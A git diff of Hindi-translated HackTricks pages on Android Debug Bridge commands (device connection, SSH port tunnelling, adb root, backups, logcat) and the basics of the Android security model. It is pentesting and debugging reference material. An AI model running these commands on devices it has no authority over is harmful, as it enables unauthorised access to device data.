|
||||||
```
|
```
|
||||||
adb devices
|
adb devices
|
||||||
```
|
```
|
||||||
यह जुड़े हुए उपकरणों की सूची बनाएगा; यदि "_**अनधिकृत**_" दिखाई देता है, तो इसका मतलब है कि आपको अपने **मोबाइल** को **अनब्लॉक** करना होगा और **कनेक्शन** को **स्वीकार** करना होगा।
|
यह जुड़े हुए उपकरणों की सूची बनाएगा; यदि "_**अनधिकृत**_" दिखाई देता है, तो इसका मतलब है कि आपको अपने **मोबाइल** को **अनब्लॉक** करना होगा और कनेक्शन को **स्वीकृत** करना होगा।
|
||||||
|
|
||||||
यह उपकरण को सूचित करता है कि इसे पोर्ट 5555 में adb सर्वर शुरू करना है:
|
यह उपकरण को यह संकेत देता है कि इसे पोर्ट 5555 में adb सर्वर शुरू करना है:
|
||||||
```
|
```
|
||||||
adb tcpip 5555
|
adb tcpip 5555
|
||||||
```
|
```
|
||||||
किसी IP और पोर्ट से कनेक्ट करें:
|
उस IP और उस Port से कनेक्ट करें:
|
||||||
```
|
```
|
||||||
adb connect <IP>:<PORT>
|
adb connect <IP>:<PORT>
|
||||||
```
|
```
|
||||||
यदि आपको एक त्रुटि मिलती है जैसे निम्नलिखित वर्चुअल एंड्रॉइड सॉफ्टवेयर (जैसे Genymotion) में:
|
यदि आपको वर्चुअल एंड्रॉइड सॉफ़्टवेयर (जैसे Genymotion) में निम्नलिखित त्रुटि मिलती है:
|
||||||
```
|
```
|
||||||
adb server version (41) doesn't match this client (36); killing...
|
adb server version (41) doesn't match this client (36); killing...
|
||||||
```
|
```
|
||||||
यह इसलिए है क्योंकि आप एक विभिन्न संस्करण के ADB सर्वर से कनेक्ट करने का प्रयास कर रहे हैं। बस सॉफ़्टवेयर द्वारा उपयोग किए जा रहे adb बाइनरी को खोजने का प्रयास करें (जाएं `C:\Program Files\Genymobile\Genymotion` और adb.exe खोजें)
|
यह इसलिए है क्योंकि आप एक अलग संस्करण के ADB सर्वर से कनेक्ट करने की कोशिश कर रहे हैं। बस उस adb बाइनरी को खोजने की कोशिश करें जिसका सॉफ़्टवेयर उपयोग कर रहा है (जाएँ `C:\Program Files\Genymobile\Genymotion` और adb.exe के लिए खोजें)
|
||||||
|
|
||||||
## कई डिवाइस
|
## कई उपकरण
|
||||||
|
|
||||||
जब भी आपके मशीन से **कई डिवाइस कनेक्ट** होते हैं तो आपको उसमें से किसमें adb कमांड चलाना है, उसे **निर्दिष्ट करना होगा**।
|
जब भी आप **अपने मशीन से जुड़े कई उपकरण** पाते हैं, तो आपको यह **निर्धारित करना होगा कि आप adb कमांड किस पर चलाना चाहते हैं।**
|
||||||
```bash
|
```bash
|
||||||
adb devices
|
adb devices
|
||||||
List of devices attached
|
List of devices attached
|
||||||
|
@ -58,18 +59,18 @@ adb -s 127.0.0.1:5555 shell
|
||||||
x86_64:/ # whoami
|
x86_64:/ # whoami
|
||||||
root
|
root
|
||||||
```
|
```
|
||||||
## पोर्ट टनलिंग
|
## Port Tunneling
|
||||||
|
|
||||||
यदि **adb** **पोर्ट** केवल एंड्रॉयड डिवाइस में **localhost** से **पहुंचने योग्य** है लेकिन **आपके पास SSH के माध्यम से पहुंच है**, तो आप **पोर्ट 5555 को फॉरवर्ड** कर सकते हैं और adb के माध्यम से कनेक्ट कर सकते हैं:
|
यदि **adb** **port** केवल **localhost** से **सुलभ** है एंड्रॉइड डिवाइस में लेकिन **आपके पास SSH के माध्यम से पहुंच है**, तो आप **port 5555 को फॉरवर्ड** कर सकते हैं और adb के माध्यम से कनेक्ट कर सकते हैं:
|
||||||
```bash
|
```bash
|
||||||
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
|
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
|
||||||
adb connect 127.0.0.1:5555
|
adb connect 127.0.0.1:5555
|
||||||
```
|
```
|
||||||
# पैकेट प्रबंधक
|
# पैकेट प्रबंधक
|
||||||
|
|
||||||
## स्थापित/अस्थापित
|
## स्थापित करें/अनइंस्टॉल करें
|
||||||
|
|
||||||
### adb install \[विकल्प] \<पथ>
|
### adb install \[option] \<path>
|
||||||
```bash
|
```bash
|
||||||
adb install test.apk
|
adb install test.apk
|
||||||
|
|
||||||
|
@ -85,15 +86,15 @@ adb install -d test.apk # allow version code downgrade
|
||||||
|
|
||||||
adb install -p test.apk # partial application install
|
adb install -p test.apk # partial application install
|
||||||
```
|
```
|
||||||
### adb uninstall \[विकल्प] \<पैकेज>
|
### adb uninstall \[options] \<PACKAGE>
|
||||||
```bash
|
```bash
|
||||||
adb uninstall com.test.app
|
adb uninstall com.test.app
|
||||||
|
|
||||||
adb uninstall -k com.test.app Keep the data and cache directories around after package removal.
|
adb uninstall -k com.test.app Keep the data and cache directories around after package removal.
|
||||||
```
|
```
|
||||||
## पैकेज
|
## Packages
|
||||||
|
|
||||||
उन सभी पैकेजों को प्रिंट करता है, वैकल्पिक रूप से केवल उन्हें जिनका पैकेज नाम \<FILTER> में दिया गया पाठ हो।
|
सभी पैकेज प्रिंट करता है, वैकल्पिक रूप से केवल उन पैकेजों को जिनका पैकेज नाम \<FILTER> में पाठ को शामिल करता है।
|
||||||
|
|
||||||
### adb shell pm list packages \[options] \<FILTER-STR>
|
### adb shell pm list packages \[options] \<FILTER-STR>
|
||||||
```bash
|
```bash
|
||||||
|
@ -117,13 +118,13 @@ adb shell pm list packages --user <USER_ID> <FILTER-STR> #The user space to quer
|
||||||
```
|
```
|
||||||
### adb shell pm path \<PACKAGE>
|
### adb shell pm path \<PACKAGE>
|
||||||
|
|
||||||
दिए गए पैकेज के APK का पथ प्रिंट करें।
|
दिए गए APK का पथ प्रिंट करें।
|
||||||
```bash
|
```bash
|
||||||
adb shell pm path com.android.phone
|
adb shell pm path com.android.phone
|
||||||
```
|
```
|
||||||
### adb shell pm clear \<PACKAGE>
|
### adb shell pm clear \<PACKAGE>
|
||||||
|
|
||||||
एक पैकेज के साथ जुड़ी सभी डेटा को हटा देता है।
|
किसी पैकेज से संबंधित सभी डेटा को हटा दें।
|
||||||
```bash
|
```bash
|
||||||
adb shell pm clear com.test.abc
|
adb shell pm clear com.test.abc
|
||||||
```
|
```
|
||||||
|
@ -131,27 +132,27 @@ adb shell pm clear com.test.abc
|
||||||
|
|
||||||
### adb pull \<remote> \[local]
|
### adb pull \<remote> \[local]
|
||||||
|
|
||||||
एक निर्दिष्ट फ़ाइल को एम्युलेटर/डिवाइस से अपने कंप्यूटर पर डाउनलोड करें।
|
एक निर्दिष्ट फ़ाइल को एक एमुलेटर/डिवाइस से आपके कंप्यूटर पर डाउनलोड करें।
|
||||||
```bash
|
```bash
|
||||||
adb pull /sdcard/demo.mp4 ./
|
adb pull /sdcard/demo.mp4 ./
|
||||||
```
|
```
|
||||||
### adb push \<local> \<remote>
|
### adb push \<local> \<remote>
|
||||||
|
|
||||||
अपने कंप्यूटर से एक निर्दिष्ट फ़ाइल को एम्युलेटर/डिवाइस पर अपलोड करें।
|
अपने कंप्यूटर से एक निर्दिष्ट फ़ाइल को एक एमुलेटर/डिवाइस पर अपलोड करें।
|
||||||
```bash
|
```bash
|
||||||
adb push test.apk /sdcard
|
adb push test.apk /sdcard
|
||||||
```
|
```
|
||||||
# स्क्रीनकैप्चर/स्क्रीनरिकॉर्ड
|
# Screencapture/Screenrecord
|
||||||
|
|
||||||
### adb shell screencap \<फ़ाइलनाम>
|
### adb shell screencap \<filename>
|
||||||
|
|
||||||
एक डिवाइस प्रदर्शन का स्क्रीनशॉट लेना।
|
डिवाइस डिस्प्ले का स्क्रीनशॉट लेना।
|
||||||
```bash
|
```bash
|
||||||
adb shell screencap /sdcard/screen.png
|
adb shell screencap /sdcard/screen.png
|
||||||
```
|
```
|
||||||
### adb shell screenrecord \[options] \<filename>
|
### adb shell screenrecord \[options] \<filename>
|
||||||
|
|
||||||
उन उपकरणों की डिस्प्ले रिकॉर्ड करें जो Android 4.4 (API स्तर 19) और उससे ऊपर चल रहे हैं।
|
एंड्रॉइड 4.4 (API स्तर 19) और उच्चतर चलाने वाले उपकरणों की डिस्प्ले रिकॉर्ड करना।
|
||||||
```bash
|
```bash
|
||||||
adb shell screenrecord /sdcard/demo.mp4
|
adb shell screenrecord /sdcard/demo.mp4
|
||||||
adb shell screenrecord --size <WIDTHxHEIGHT>
|
adb shell screenrecord --size <WIDTHxHEIGHT>
|
||||||
|
@ -160,27 +161,27 @@ adb shell screenrecord --time-limit <TIME> #Sets the maximum recording time, in
|
||||||
adb shell screenrecord --rotate # Rotates 90 degrees
|
adb shell screenrecord --rotate # Rotates 90 degrees
|
||||||
adb shell screenrecord --verbose
|
adb shell screenrecord --verbose
|
||||||
```
|
```
|
||||||
(press Ctrl-C दबाएं रिकॉर्डिंग रोकने के लिए)
|
(रिकॉर्डिंग रोकने के लिए Ctrl-C दबाएँ)
|
||||||
|
|
||||||
**आप फ़ाइलें (छवियाँ और वीडियो) डाउनलोड कर सकते हैं उपयोग करके **_**adb pull**_
|
**आप फ़ाइलें (छवियाँ और वीडियो) **_**adb pull**_ का उपयोग करके डाउनलोड कर सकते हैं**
|
||||||
|
|
||||||
# शैल
|
# शेल
|
||||||
|
|
||||||
### adb shell
|
### adb शेल
|
||||||
|
|
||||||
उपकरण के अंदर एक शैल प्राप्त करें
|
डिवाइस के अंदर एक शेल प्राप्त करें
|
||||||
```bash
|
```bash
|
||||||
adb shell
|
adb shell
|
||||||
```
|
```
|
||||||
### adb shell \<CMD>
|
### adb shell \<CMD>
|
||||||
|
|
||||||
उपकरण के अंदर एक कमांड को चलाएं
|
डिवाइस के अंदर एक कमांड निष्पादित करें
|
||||||
```bash
|
```bash
|
||||||
adb shell ls
|
adb shell ls
|
||||||
```
|
```
|
||||||
## pm
|
## pm
|
||||||
|
|
||||||
निम्नलिखित कमांड शैल में निष्पादित किए जाते हैं
|
निम्नलिखित कमांड एक शेल के अंदर निष्पादित होते हैं
|
||||||
```bash
|
```bash
|
||||||
pm list packages #List installed packages
|
pm list packages #List installed packages
|
||||||
pm path <package name> #Get the path to the apk file of tha package
|
pm path <package name> #Get the path to the apk file of tha package
|
||||||
|
@ -189,9 +190,9 @@ am startservice [<options>] #Start a service. Whiout options you can see the hel
|
||||||
am broadcast [<options>] #Send a broadcast. Whiout options you can see the help menu
|
am broadcast [<options>] #Send a broadcast. Whiout options you can see the help menu
|
||||||
input [text|keyevent] #Send keystrokes to device
|
input [text|keyevent] #Send keystrokes to device
|
||||||
```
|
```
|
||||||
# प्रक्रियाएँ
|
# Processes
|
||||||
|
|
||||||
यदि आप अपने एप्लिकेशन की प्रक्रिया का पीआईडी प्राप्त करना चाहते हैं तो आप निम्नलिखित को क्रियान्वित कर सकते हैं:
|
यदि आप अपने एप्लिकेशन की प्रक्रिया का PID प्राप्त करना चाहते हैं, तो आप निम्नलिखित कमांड चला सकते हैं:
|
||||||
```bash
|
```bash
|
||||||
adb shell ps
|
adb shell ps
|
||||||
```
|
```
|
||||||
|
@ -201,30 +202,32 @@ adb shell ps
|
||||||
```bash
|
```bash
|
||||||
adb shell pidof com.your.application
|
adb shell pidof com.your.application
|
||||||
```
|
```
|
||||||
और यह एप्लिकेशन का पीआईडी प्रिंट करेगा
|
और यह एप्लिकेशन का PID प्रिंट करेगा
|
||||||
|
|
||||||
# सिस्टम
|
# सिस्टम
|
||||||
```bash
|
```bash
|
||||||
adb root
|
adb root
|
||||||
```
|
```
|
||||||
एडीबीडी डेमन को रूट अनुमतियों के साथ पुनः आरंभ करें। फिर, आपको फिर से एडीबी सर्वर से कनेक्ट करना होगा और आप रूट होंगे (यदि उपलब्ध है)।
|
adb डेमन को रूट अनुमतियों के साथ पुनः प्रारंभ करता है। फिर, आपको ADB सर्वर से फिर से कनेक्ट करना होगा और आप रूट होंगे (यदि उपलब्ध हो)।
|
||||||
```bash
|
```bash
|
||||||
adb sideload <update.zip>
|
adb sideload <update.zip>
|
||||||
```
|
```
|
||||||
## लॉग
|
flashing/restoring Android update.zip पैकेज।
|
||||||
|
|
||||||
### लॉगकैट
|
# Logs
|
||||||
|
|
||||||
केवल एक एप्लिकेशन के संदेशों को फ़िल्टर करने के लिए, एप्लिकेशन का पीआईडी प्राप्त करें और लॉगकैट के आउटपुट को फ़िल्टर करने के लिए grep (लिनक्स/मैकओएस) या findstr (विंडोज) का उपयोग करें:
|
## Logcat
|
||||||
|
|
||||||
|
केवल **एक एप्लिकेशन के संदेशों को फ़िल्टर करने के लिए**, एप्लिकेशन का PID प्राप्त करें और logcat के आउटपुट को फ़िल्टर करने के लिए grep (linux/macos) या findstr (windows) का उपयोग करें:
|
||||||
```bash
|
```bash
|
||||||
adb logcat | grep 4526
|
adb logcat | grep 4526
|
||||||
adb logcat | findstr 4526
|
adb logcat | findstr 4526
|
||||||
```
|
```
|
||||||
### adb logcat \[विकल्प] \[फ़िल्टर-स्पेसिफिकेशन]
|
### adb logcat \[option] \[filter-specs]
|
||||||
```bash
|
```bash
|
||||||
adb logcat
|
adb logcat
|
||||||
```
|
```
|
||||||
टिप्पणी: मॉनिटरिंग रोकने के लिए Ctrl-C दबाएं
|
Notes: Ctrl-C दबाकर मॉनिटर को रोकें
|
||||||
```bash
|
```bash
|
||||||
adb logcat *:V # lowest priority, filter to only show Verbose level
|
adb logcat *:V # lowest priority, filter to only show Verbose level
|
||||||
|
|
||||||
|
@ -260,9 +263,9 @@ adb logcat -n <count> # Sets the maximum number of rotated logs to <count>.
|
||||||
```
|
```
|
||||||
## dumpsys
|
## dumpsys
|
||||||
|
|
||||||
डंप सिस्टम डेटा
|
सिस्टम डेटा को डंप करें
|
||||||
|
|
||||||
### adb shell dumpsys \[विकल्प]
|
### adb shell dumpsys \[options]
|
||||||
```bash
|
```bash
|
||||||
adb shell dumpsys
|
adb shell dumpsys
|
||||||
|
|
||||||
|
@ -270,75 +273,19 @@ adb shell dumpsys meminfo
|
||||||
|
|
||||||
adb shell dumpsys battery
|
adb shell dumpsys battery
|
||||||
```
|
```
|
||||||
### ADB Commands
|
Notes: एक मोबाइल डिवाइस जिसमें डेवलपर विकल्प सक्षम हैं, Android 5.0 या उच्चतर चला रहा है।
|
||||||
|
|
||||||
#### Android Debug Bridge (ADB) is a versatile command-line tool that lets you communicate with a device. Here are some useful ADB commands for Android app pentesting:
|
|
||||||
|
|
||||||
1. **Check connected devices:**
|
|
||||||
```bash
|
|
||||||
adb devices
|
|
||||||
```
|
|
||||||
|
|
||||||
2. **Install an APK:**
|
|
||||||
```bash
|
|
||||||
adb install app.apk
|
|
||||||
```
|
|
||||||
|
|
||||||
3. **Uninstall an app:**
|
|
||||||
```bash
|
|
||||||
adb uninstall package_name
|
|
||||||
```
|
|
||||||
|
|
||||||
4. **Grant permissions:**
|
|
||||||
```bash
|
|
||||||
adb shell pm grant package_name permission
|
|
||||||
```
|
|
||||||
|
|
||||||
5. **Revoke permissions:**
|
|
||||||
```bash
|
|
||||||
adb shell pm revoke package_name permission
|
|
||||||
```
|
|
||||||
|
|
||||||
6. **Start an activity:**
|
|
||||||
```bash
|
|
||||||
adb shell am start -n package_name/activity_name
|
|
||||||
```
|
|
||||||
|
|
||||||
7. **Pull a file from the device:**
|
|
||||||
```bash
|
|
||||||
adb pull /path/to/file
|
|
||||||
```
|
|
||||||
|
|
||||||
8. **Push a file to the device:**
|
|
||||||
```bash
|
|
||||||
adb push file /path/on/device
|
|
||||||
```
|
|
||||||
|
|
||||||
9. **Capture a bug report:**
|
|
||||||
```bash
|
|
||||||
adb bugreport bugreport.zip
|
|
||||||
```
|
|
||||||
|
|
||||||
10. **Access the device shell:**
|
|
||||||
```bash
|
|
||||||
adb shell
|
|
||||||
```
|
|
||||||
|
|
||||||
Make sure to have a mobile device with Developer Options enabled running Android 5.0 or higher.
|
|
||||||
```bash
|
```bash
|
||||||
adb shell dumpsys batterystats collects battery data from your device
|
adb shell dumpsys batterystats collects battery data from your device
|
||||||
```
|
```
|
||||||
Notes: [बैटरी इतिहासकार](https://github.com/google/battery-historian) उस डेटा को एक HTML दृश्यीकरण में रूपांतरित करता है। **चरण 1** _adb shell dumpsys batterystats > batterystats.txt_ **चरण 2** _python historian.py batterystats.txt > batterystats.html_
|
Notes: [Battery Historian](https://github.com/google/battery-historian) उस डेटा को HTML दृश्य में परिवर्तित करता है। **STEP 1** _adb shell dumpsys batterystats > batterystats.txt_ **STEP 2** _python historian.py batterystats.txt > batterystats.html_
|
||||||
```bash
|
```bash
|
||||||
adb shell dumpsys batterystats --reset erases old collection data
|
adb shell dumpsys batterystats --reset erases old collection data
|
||||||
```
|
```
|
||||||
```html
|
|
||||||
adb shell dumpsys activity
|
adb shell dumpsys activity
|
||||||
|
|
||||||
# बैकअप
|
# बैकअप
|
||||||
|
|
||||||
एडीबी से एंड्रॉइड डिवाइस का बैकअप।
|
adb से एक एंड्रॉइड डिवाइस का बैकअप लें।
|
||||||
```
|
|
||||||
```bash
|
```bash
|
||||||
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
|
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
|
||||||
# -apk -- Include APK from Third partie's applications
|
# -apk -- Include APK from Third partie's applications
|
||||||
|
@ -350,20 +297,21 @@ adb shell pm list packages -f -3 #List packages
|
||||||
adb backup -f myapp_backup.ab -apk com.myapp # backup on one device
|
adb backup -f myapp_backup.ab -apk com.myapp # backup on one device
|
||||||
adb restore myapp_backup.ab # restore to the same or any other device
|
adb restore myapp_backup.ab # restore to the same or any other device
|
||||||
```
|
```
|
||||||
यदि आप बैकअप की सामग्री की जांच करना चाहते हैं:
|
यदि आप बैकअप की सामग्री का निरीक्षण करना चाहते हैं:
|
||||||
```bash
|
```bash
|
||||||
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
|
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,20 +1,21 @@
|
||||||
# एंड्रॉइड एप्लिकेशन बेसिक्स
|
# Android Applications Basics
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन **The PEASS Family** की खोज करें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा **पीआर जमा करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard सुरक्षा समूह**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -22,98 +23,140 @@ HackTricks का समर्थन करने के अन्य तरी
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
## एंड्रॉइड सुरक्षा मॉडल
|
## Android Security Model
|
||||||
|
|
||||||
**यहाँ दो परतें हैं:**
|
**दो परतें हैं:**
|
||||||
|
|
||||||
* **ओएस**, जो स्थापित एप्लिकेशनों को एक दूसरे से अलग रखता है।
|
* **OS**, जो स्थापित अनुप्रयोगों को एक-दूसरे से अलग रखता है।
|
||||||
* **एप्लिकेशन खुद**, जो डेवलपरों को **निश्चित कार्यों को उजागर करने** और एप्लिकेशन क्षमताओं को कॉन्फ़िगर करने की अनुमति देता है।
|
* **अनुप्रयोग स्वयं**, जो डेवलपर्स को **कुछ कार्यक्षमताओं को उजागर करने** की अनुमति देता है और अनुप्रयोग क्षमताओं को कॉन्फ़िगर करता है।
|
||||||
|
|
||||||
### UID विभाजन
|
### UID Separation
|
||||||
|
|
||||||
**प्रत्येक एप्लिकेशन को एक विशिष्ट उपयोगकर्ता आईडी सौंपी जाती है**। यह एप्लिकेशन के स्थापना के दौरान किया जाता है ताकि **एप्लिकेशन केवल अपने उपयोगकर्ता आईडी या साझा** फ़ाइलों के स्वामित्व वाले फ़ाइलों के साथ बातचीत कर सके। इसलिए, केवल एप्लिकेशन खुद, ओएस के कुछ घटक और रूट उपयोगकर्ता ही एप्लिकेशन के डेटा तक पहुंच सकते हैं।
|
**प्रत्येक अनुप्रयोग को एक विशिष्ट उपयोगकर्ता आईडी सौंपा जाता है**। यह ऐप के इंस्टॉलेशन के दौरान किया जाता है ताकि **ऐप केवल अपनी उपयोगकर्ता आईडी द्वारा स्वामित्व वाले फ़ाइलों या साझा फ़ाइलों के साथ इंटरैक्ट कर सके**। इसलिए, केवल ऐप स्वयं, OS के कुछ घटक और रूट उपयोगकर्ता ऐप के डेटा तक पहुंच सकते हैं।
|
||||||
|
|
||||||
### UID साझा करना
|
### UID Sharing
|
||||||
|
|
||||||
**दो एप्लिकेशनों को समान UID का उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है**। यह सूचना साझा करने के लिए उपयोगी हो सकता है, लेकिन अगर इनमें से कोई भी संक्रमित हो जाता है तो दोनों एप्लिकेशनों के डेटा संक्रमित हो जाएगा। इसलिए यह व्यवहार **असलाह** है।\
|
**दो अनुप्रयोगों को समान UID का उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है**। यह जानकारी साझा करने के लिए उपयोगी हो सकता है, लेकिन यदि इनमें से एक समझौता किया जाता है, तो दोनों अनुप्रयोगों का डेटा समझौता किया जाएगा। यही कारण है कि इस व्यवहार को **नकारा** जाता है।\
|
||||||
**एक ही UID को साझा करने के लिए, एप्लिकेशनों को अपने मैनिफ़ेस्ट में समान `android:sharedUserId` मान की परिभाषा करनी होगी।**
|
**समान UID साझा करने के लिए, अनुप्रयोगों को अपने मैनिफेस्ट में समान `android:sharedUserId` मान को परिभाषित करना चाहिए।**
|
||||||
|
|
||||||
### सैंडबॉक्सिंग
|
### Sandboxing
|
||||||
|
|
||||||
**एंड्रॉइड एप्लिकेशन सैंडबॉक्स** हर **प्रत्येक एप्लिकेशन** को एक **अलग प्रक्रिया के तौर पर एक अलग उपयोगकर्ता आईडी के रूप में चलाने की अनुमति देता है**। प्रत्येक प्रक्रिया का अपना वर्चुअल मशीन होता है, इसलिए एक ऐप का कोड अन्य ऐप्स से अलग चलता है।\
|
**Android Application Sandbox** प्रत्येक अनुप्रयोग को **एक अलग उपयोगकर्ता आईडी के तहत एक अलग प्रक्रिया के रूप में चलाने** की अनुमति देता है। प्रत्येक प्रक्रिया की अपनी वर्चुअल मशीन होती है, इसलिए एक ऐप का कोड अन्य ऐप्स से अलग-थलग चलता है।\
|
||||||
एंड्रॉइड 5.0(L) से **SELinux** लागू है। मूल रूप से, SELinux ने सभी प्रक्रिया अंतराक्रियाओं को इनकार किया और फिर उनके बीच केवल **प्रत्याशित अंतराक्रियाओं को ही अनुमति देने के नीतियाँ** बनाईं।
|
Android 5.0(L) से **SELinux** लागू किया गया है। मूल रूप से, SELinux ने सभी प्रक्रिया इंटरैक्शन को अस्वीकार कर दिया और फिर **उनके बीच केवल अपेक्षित इंटरैक्शन की अनुमति देने के लिए नीतियाँ बनाई**।
|
||||||
|
|
||||||
### अनुमतियाँ
|
### Permissions
|
||||||
|
|
||||||
जब आप **एक ऐप स्थापित करते हैं और यह अनुमतियाँ मांगता है**, तो ऐप **AndroidManifest.xml** फ़ाइल में **`uses-permission`** तत्वों में कॉन्फ़िगर की गई अनुमतियों के लिए मांग कर रहा है। **uses-permission** तत्व अनुमति का नाम निर्दिष्ट करता है जो **नाम** **विशेषता में अनुरोध करने के लिए रुचि रखता है। इसमें **maxSdkVersion** विशेषता भी होती है जो उच्च संस्करणों पर अनुमतियों के लिए पूछना रोक देती है।\
|
जब आप एक **ऐप इंस्टॉल करते हैं और यह अनुमतियों के लिए पूछता है**, तो ऐप **AndroidManifest.xml** फ़ाइल में **`uses-permission`** तत्वों में कॉन्फ़िगर की गई अनुमतियों के लिए पूछ रहा है। **uses-permission** तत्व अनुरोधित अनुमति के नाम को **name** **attribute** के अंदर इंगित करता है। इसमें **maxSdkVersion** attribute भी है जो निर्दिष्ट संस्करण से उच्च संस्करणों पर अनुमतियों के लिए पूछना बंद कर देता है।\
|
||||||
ध्यान दें कि एंड्रॉइड एप्लिकेशनों को शुरू में सभी अनुमतियाँ मांगने की आवश्यकता नहीं है, वे अनुमतियाँ **गतिशील रूप से मांग सकते हैं** लेकिन सभी अनुमतियाँ **मैनिफ़ेस्ट में घोषित** होनी चाहिए।
|
ध्यान दें कि एंड्रॉइड अनुप्रयोगों को शुरुआत में सभी अनुमतियों के लिए पूछने की आवश्यकता नहीं है, वे **डायनामिकली अनुमतियों के लिए भी पूछ सकते हैं** लेकिन सभी अनुमतियों को **मैनिफेस्ट में घोषित** करना चाहिए।
|
||||||
|
|
||||||
